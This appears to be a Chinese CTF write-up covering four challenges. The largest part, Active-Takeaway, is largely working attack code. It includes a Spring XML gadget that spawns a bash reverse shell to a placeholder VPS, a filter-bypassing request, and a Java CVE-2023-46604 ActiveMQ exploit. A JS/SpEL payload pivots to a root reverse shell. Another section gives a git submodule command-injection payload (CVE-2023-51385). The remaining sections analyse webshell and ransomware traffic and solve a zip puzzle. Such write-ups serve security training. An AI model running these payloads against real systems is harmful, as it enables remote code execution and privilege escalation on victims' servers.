web
Active-Takeaway
题目描述:
点外卖的你突发奇想:如果拿下了订餐系统,是不是可以一劳永逸当懒虫了?(本题下发后,请通过http访问相应的ip和port,例如 nc ip port ,改为http://ip:port/)
题目思路:
cve-2023-46604
解题过程:
查看附件中的dockerfile
FROM apache/activemq-classic:5.17.5
RUN apt update
RUN apt install -y wget#安装wget可以下载文件
RUN apt clean
COPY flag /flag#文件复制
COPY start.sh /start.sh
RUN chmod 400 /flag#高权限查看
RUN chmod +x /start.sh
WORKDIR /customer
COPY customer-0.0.1-SNAPSHOT.jar customer.jar
WORKDIR /merchant
COPY merchant-1.0-SNAPSHOT-jar-with-dependencies.jar merchant.jar
RUN useradd -ms /bin/bash player
RUN chown -R player:player /opt/apache-activemq
RUN chown -R player:player /customer
RUN ln -s /opt/java/openjdk/bin/java /usr/bin/java
USER player
EXPOSE 8088
USER root
CMD /start.sh
查看附件中的启动文件start.sh
#!/bin/bash
su -c "/opt/apache-activemq/bin/linux-x86-64/activemq console" - player &#低权限启动程序
sleep 5s
su -c "/opt/java/openjdk/bin/java -jar /customer/customer.jar" - player &#低权限启动程序
java -jar /merchant/merchant.jar tcp://localhost:61616 http://localhost:8088#映射web服务
查看附件中的jar包,首先是customer-0.0.1-SNAPSHOT.jar,查看controller
package BOOT-INF.classes.com.example.customer.controller;//找到此类
import com.example.customer.entity.OrderEntity;
import com.example.customer.service.FoodService;
import java.lang.reflect.InvocationTargetException;
import java.util.List;
import javax.annotation.Resource;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
@RestController
@RequestMapping({"/api"})
public class OrderController {
@Resource
private FoodService foodService;
@GetMapping({"/listorders"})
public List<OrderEntity> listOrders() {
return this.foodService.listOrders();
}
@GetMapping({"/makeorder"})
public Long makeOrder() {
return this.foodService.order();
}
@GetMapping({"/take/{id}"})
public Long take(@PathVariable Long id) {
return this.foodService.take(id);
}
@GetMapping({"/orderstatus/{id}"})
public OrderEntity orderStatus(@PathVariable Long id) {
return this.foodService.orderStatus(id);
}
@PostMapping({"/changefood"})//存在任意类构造方法
public String change(@RequestParam String foodServiceClassName, @RequestParam String name) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException {
Class<?> foodServiceClass;
try {
foodServiceClass = Class.forName(foodServiceClassName);//存在任意类构造方法
} catch (ClassNotFoundException e) {
foodServiceClass = Class.forName("com.example.customer.service.IronBeefNoodleService");
}
this.foodService = foodServiceClass.getDeclaredConstructor(new Class[] { String.class }).newInstance(new Object[] { name });
return "Changed to " + foodServiceClassName + " with name " + name;
}
}
查看filter
package BOOT-INF.classes.com.example.customer.filter;//找到此类
import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpServletRequest;
@WebFilter(filterName = "customerFilter", urlPatterns = {"/api/*"})
public class CustomerFilter implements Filter {
public void init(FilterConfig filterConfig) throws ServletException {
super.init(filterConfig);
}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String uri = ((HttpServletRequest)request).getRequestURI().replaceAll("/api", "");
String endpoint = uri.replaceAll("/", "");
if (endpoint.equalsIgnoreCase("changefood")) {//拦截changefood,使用;绕过
response.getWriter().write("Under construction...");
return;
}
chain.doFilter(request, response);
}
public void destroy() {
super.destroy();
}
}
然后构造利用链,启动vps的http,启动监听
python3 -m http.server 8000
nc -lnvp 2333
vps放入Active-Takeaway.xml
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/vpsip/2333 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
向目标服务器发送数据包
POST /api/changefood; HTTP/1.1
Host: 39.106.48.123:25134
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 142
foodServiceClassName=org.springframework.context.support.ClassPathXmlApplicationContext&name=http://vpsip:8000/Active-Takeaway.xml
然后获得低权限shell
root@user:~# nc -lnvp 2333
Listening on 0.0.0.0 2333
Connection received on 39.106.20.178 25134
bash: cannot set terminal process group (100): Inappropriate ioctl for device
bash: no job control in this shell
player@engine-1:~$ id
id
uid=1000(player) gid=1000(player) groups=1000(player)
接下来的目标就是去攻击高权限的 merchant (Consumer),从dockerfle里面知道 activemg 的版本,这个版本存在CVE-2023- 46604, merchant可以看到merchant和broker建立了长连接,参考链接http://www.yulegeyu.com/2023/11/02/ActiveMQ%E4%BB%8EBroker%E5%88%B0Consumer/
package org.example;//找到此类
import com.example.customer.entity.OrderEntity;
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.HierarchicalStreamDriver;
import com.thoughtworks.xstream.io.xml.StaxDriver;
import java.net.HttpURLConnection;
import java.net.URI;
import java.util.List;
import javax.jms.Connection;
import javax.jms.Destination;
import javax.jms.JMSException;
import javax.jms.Message;
import javax.jms.MessageConsumer;
import javax.jms.Queue;
import javax.jms.Session;
import javax.jms.TextMessage;
import org.apache.activemq.ActiveMQConnectionFactory;
public class Main {
public static void main(String[] args) throws JMSException {
ActiveMQConnectionFactory connectionFactory = new ActiveMQConnectionFactory(args[0]);
connectionFactory.setTrustedPackages(List.of(new String[] { "com.example.customer.entity" }));
Connection connection = connectionFactory.createConnection();
connection.start();
Session session = connection.createSession(false, 1);
Queue queue = session.createQueue("Orders");
MessageConsumer consumer = session.createConsumer((Destination)queue);
consumer.setMessageListener(message -> {
if (message instanceof TextMessage) {
TextMessage textMessage = (TextMessage)message;
try {
XStream xstream = new XStream((HierarchicalStreamDriver)new StaxDriver());
xstream.allowTypesByWildcard(new String[] { "com.example.customer.entity.*" });
OrderEntity entity = (OrderEntity)xstream.fromXML(textMessage.getText());
take(entity, args[1]);
} catch (JMSException e) {
e.printStackTrace();
}
}
});
System.out.println("Waiting for messages...");
}
private static void take(OrderEntity orderEntity, String baseURL) {
try {
Thread.sleep(5000L);
URI uri = new URI(baseURL);
URI endpoint = uri.resolve(new URI("/api/take/" + orderEntity.getId()));
HttpURLConnection connection = (HttpURLConnection)endpoint.toURL().openConnection();
connection.setRequestMethod("GET");
connection.getInputStream();
} catch (Exception e) {
e.printStackTrace();
}
}
}
这里可以利用CVE-2023-46604在broker上下文里执行代码,在activemg中的org.apache.activemq.broker.BrokerRegistry#getinstance 里可以拿到和broker保持长连接的merchant线程。构造ExploitBroker.java
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.net.Socket;
public class ExploitBroker {
public static void main(String[] args) throws IOException{
Socket socket =new Socket("localhost",61616);
OutputStream os = socket.getOutputStream();
DataOutputStream dataOutput = new DataOutputStream(os);
dataOutput.writeInt(0);//size
dataOutput.writeByte(31);//tpye
dataOutput.writeInt(0);//commandid
dataOutput.writeBoolean(false);//command response required
dataOutput.writeInt(0);//correlationid
//body
dataOutput.writeBoolean(true);
//utf
dataOutput.writeBoolean(true);
dataOutput.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");
dataOutput.writeBoolean(true);
dataOutput.writeUTF("http://vpsip:8000/broker.xml");
dataOutput.close();
os.close();
socket.close();
}
}
本地煸译好java文件为class后利用curl把class文件拿到受害服务器上
player@engine-1:~$ cd /tmp && curl http://vpsip:8000/ExploitBroker.class -o ExploitBroker.class
ss -o ExploitBroker.class4.155.212.249:8000/ExploitBroker.clas
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1212 100 1212 0 0 3348 0 --:--:-- --:--:-- --:--:-- 3357
然后在http服务器上准备broker.xml(注意替换vpsip)
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-4.0.xsd
http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-4.0.xsd">
<context:property-placeholder ignore-resource-not-found="false" ignore-unresolvable="false"/>
<bean class="java.lang.String">
<property name="String" value="#{T(javax.script.ScriptEngineManager).newInstance().getEngineByName('js').eval("function getunsafe() {var unsafe = java.lang.Class.forName('sun.misc.Unsafe').getDeclaredField('theUnsafe');unsafe.setAccessible(true);return unsafe.get(null);} var unsafe = getunsafe(); brokerRegistry = org.apache.activemq.broker.BrokerRegistry.getInstance();brokers = brokerRegistry.getBrokers();for(key in brokers){ brokerService = brokers.get(key); try{ f = brokerService.getClass().getDeclaredField('shutdownHook'); }catch(e){f = brokerService.getClass().getSuperclass().getDeclaredField('shutdownHook');} f.setAccessible(true); shutdownHook = f.get(brokerService); threadGroup = shutdownHook.getThreadGroup(); f = threadGroup.getClass().getDeclaredField('threads'); threads = unsafe.getObject(threadGroup, unsafe.objectFieldOffset(f)); for(key in threads){ thread = threads[key]; if(thread == null){ continue; } threadName = thread.getName(); if(threadName.startsWith('ActiveMQ Transport: ')){ f = thread.getClass().getDeclaredField('target'); tcpTransport = unsafe.getObject(thread, unsafe.objectFieldOffset(f)); f = tcpTransport.getClass().getDeclaredField('socket'); f.setAccessible(true); socket = f.get(tcpTransport); bos = new java.io.ByteArrayOutputStream(); dataOutput = new java.io.DataOutputStream(bos); dataOutput.writeInt(1); dataOutput.writeByte(31); bs = new org.apache.activemq.openwire.BooleanStream(); bs.writeBoolean(true); bs.writeBoolean(true); bs.writeBoolean(true); bs.writeBoolean(false); bs.writeBoolean(true); bs.writeBoolean(false); bs.marshal(dataOutput); dataOutput.writeUTF('bb'); dataOutput.writeUTF('aa'); dataOutput.writeUTF('org.springframework.context.support.ClassPathXmlApplicationContext'); dataOutput.writeUTF('http://vpsip:8000/rootshell.xml'); dataOutput.writeShort(0); socketOutputStream = socket.getOutputStream(); socketOutputStream.write(bos.toByteArray()); } } }")}"/>
</bean>
</beans>
然后vps准备 rootshell.xml 如下
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pd" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/vpsip/2334 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
接着新开一个shell监听2334端口,然后在低权限的shell上执行 java ExploitBroker 即可得到高权限的shell
player@engine-1:/tmp$ java ExploitBroker
java ExploitBroker
player@engine-1:/tmp$
2334端口
root@ser668907688602:~# nc -lnvp 2334
Listening on 0.0.0.0 2334
Connection received on 39.106.20.178 28163
root@engine-1:~# cd /
cd /
root@engine-1:/# cat flag
cat flag
flag{8534690f-7e08-463b-a4fc-6973a0e10eb5}root@engine-1:/#
Misc
modules
题目描述:
爱学习的小楠楠在复现某个CVE,搭建了本场景,你能获取到本场景下的flag吗?
题目思路:
CVE-2023-51385
解题过程:
.gitmodules:
[submodule "cves"]
path = cves
url = ssh://`bash exp.sh`foo.ichunqiu.com/bar
exp.sh脚本
cat /flag > /var/www/html/flag
Payload:
git clone -v https://github.com/Scorpio-m7/poc-proxycommand-vulnerable/ --recurse-submodules
访问/flag目录得到flag
勒索流量
题目描述:
你是某科技公司的网络安全工程师,你的公司是一家专门从事人工智能和机器学习的创新型企业,拥有大量的数据和知识产权。你的工作是保护公司的网络系统免受外部的攻击和威胁,确保公司的数据安全和业务稳定。一天,当你正在监控公司的网络状况时,你突然发现了一些异常的现象,部分服务器无法访问,部分数据无法读取,同时你的安全设备产生了告警,截获了一段经过加密的流量。你立刻感到了一丝不祥的预感,你怀疑公司的网络遭到了黑客的攻击,你决定对这段流量进行分析,以找出网络故障的原因和攻击者的身份。(关注微信公众号“勒索病毒头条”,发送关键词“被加密的流量”可获取该题提示。)
题目思路:
公众号提示:时间戳通过Epoch Time获得
解题过程:
过滤 HTTP 流量,发现先是扫描文件,接着试探上传多种木马文件,最后成功上传了 .user.ini 一句话木马,然后写入1.png木马,流36可以发现蚁剑的流量特征
QzovU29mdHdhcmUvUGhwc3R1ZHlfcHJvL1dXVy9jdGYvdXBsb2FkCUM6RDoJV2luZG93cyBOVCBMSVUgMTAuMCBidWlsZCAyMjYyMSAoV2luZG93cyAxMCkgQU1ENjQJSDNybWVzazF054f6657362
from base64
C:/Software/Phpstudy_pro/WWW/ctf/upload C:D: Windows NT LIU 10.0 build 22621 (Windows 10) AMD64 H3rmesk1tç‡úëž÷ë
流44发现攻击者上传了一个勒素信文件,接着在下一个流量包中,玫击者上传了一个s3creT.txt文件, 内容为R@ns0mwar3_V1ru5
52406E73306D776172335F5631727535
from hex
R@ns0mwar3_V1ru5
在798条流量发现攻击者上传了一个server.py的文件,分析脚本发现是rc4加密,key=R@ns0mwar3_V1ru5,然后继续追流量发现脚本被修改端口为9999。于是使用tcp.port == 9999进行过滤,获得其中的data,手动设置一下时间戳,时间戳通过Epoch Time获得。最终发现1037包对应时间戳解密data为flag
python脚本
import os
import hashlib
def calculate_md5(string):
md5_hash = hashlib.md5()
md5_hash.update(string.encode('utf-8'))
md5_hex = md5_hash.hexdigest()
return md5_hex
key = calculate_md5("R@ns0mwar3_V1ru5")
from Crypto.Cipher import ARC4
import base64
def rc4_decrypt(data, key1):
data = base64.b64decode(data)
key = bytes(key1, encoding='utf-8')
enc = ARC4.new(key)
res = enc.decrypt(data)
res = str(res, 'gbk', errors='ignore')
return res
def t1(data,timestamp):
import re
from datetime import datetime, timedelta
current_time = datetime.fromtimestamp(timestamp)
target_time = current_time.replace(second=0, microsecond=0)
timestamp = int(target_time.timestamp())
key1 = hex(timestamp)[2:].zfill(8)
key1 = re.findall(r'.{2}', key1)
key1 = [int(i, 16) for i in key1]
data = list(data)
for i in range(len(data)):
data[i] = chr(ord(data[i]) ^ key1[i % 4])
data = ''.join(data)
return data
def decrypt(data, key,timestamp):
data = t1(data,timestamp)
data = rc4_decrypt(data, key)
return data
hex_data = "16c3b2c295c3be04c29cc29fc3a90cc39ec2a3c39937c391c3a7c3811cc38bc3a0c39b29c29ac2b1c3b830c3b2c286c3a13cc38ac296c38d13c3a2c29dc3920bc3bac2a8c2bb22c29bc287c3a328c3afc29cc3bd27c390c3a6c38110c381c2a5c381"
data = bytes.fromhex(hex_data).decode('utf-8')
res = decrypt(data, key, 1705562796.602401000)
print(res)
谁偷吃了我的外卖
题目描述:
小凯最近入职了大厂,但是在工作途中出现了一些麻烦事,怎么办呢
题目思路:
foremost分离图片得到压缩包里面有提示I can give you a hint: - = /。But there was a takeaway that was partially eaten.
解题过程:
foremost分离图片得到压缩包,里面有三个文件,第一个外卖被偷吃了,使用脚本把用户中间的base64取出来
import re
import zipfile
import base64
zip_file_path="外卖箱.zip"
with zipfile.ZipFile(zip_file_path, 'r') as zip_ref:
file_list=zip_ref.namelist()
file_list_decoded=[file.encode('cp437').decode('gbk') for file in file_list]
base64_data_list=[]
for i in file_list_decoded:
try:
base64_data=re.search(r"用户(\d+)_([\w+-=]{4})的外卖",i).groups()
base64_data_list.append(base64_data)
except:
pass
base64_data_list_sorted=sorted(base64_data_list,key=lambda i:int(i[0]))
base64_data_str="".join([i[1] for i in base64_data_list_sorted])
base64_data_str = base64_data_str.replace("-","/")
print(base64_data_str)
发现base64解密不是明文,但是查看发现有md,txt等猜测可能还是压缩包。添加代码保存成压缩包
zip="504b03"
base64_data_str = base64.b64encode(bytes.fromhex(zip)).decode()+base64_data_str
with open('key.zip', 'wb') as f:
f.write(base64.b64decode(base64_data_str))
md中有一半的flag,图片给了加密的算法,并且看到CRC是相同的,就可以用明文攻击,使用archpr.exe,选择plain-text模式,encrypted zip file选择外卖箱,plain-text file path 选择key.zip,开始攻击后得到压缩包,解压后得到txt.galf
def reverse_string(input_string):
# 使用切片[::-1]来倒序字符串
return input_string[::-1]
# 输入字符串
input_string = "}9enruoj_FTC_1ufredn0w_aaaaaaa"
# 调用函数并输出结果
reversed_string = reverse_string(input_string)
print("倒序输出的字符串是:", reversed_string)
反转过来就是flag